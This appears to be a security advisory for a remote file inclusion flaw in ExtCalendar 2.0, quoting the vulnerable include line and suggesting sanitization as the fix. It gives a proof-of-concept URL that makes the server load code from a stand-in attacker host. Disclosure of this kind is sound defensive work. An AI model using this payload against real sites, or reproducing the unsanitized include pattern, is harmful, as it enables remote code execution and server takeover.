Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ExtCalendar

Application     : ExtCalendar
version         : 2.0
URL             : http://extcal.sourceforge.net/
Description     :

ExtCalendar is a powerful multi-user web-based calendar application. 
Features include Multi-Languages, Themes, Recurrent  Events, Categories, 
Users and Groups management, Environment and General Settings, Template Configuration, Product Updates.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~~

in folder com_extcalendar we found vulnerability script extcalendar.php.

-----------------------extcalendar.php----------------------
....
<?php
       global $mosConfig_absolute_path;
require_once( $mosConfig_absolute_path."/components/com_extcalendar/config.inc.php" );
require_once( $CONFIG_EXT['LIB_DIR']."mail.inc.php" );
        ?>
...
----------------------------------------------------------

Variables $mosConfig_absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.

Proof Of Concept:
~~~~~~~~~~~~~~~~

http://[target]/[path]/components/com_extcalendar/extcalendar.php?mosConfig_absolute_path=http://attacker.com/evil.txt?

Solution:
~~~~~~~~

sanitize variabel $mosConfig_absolute_path in extcalendar.php
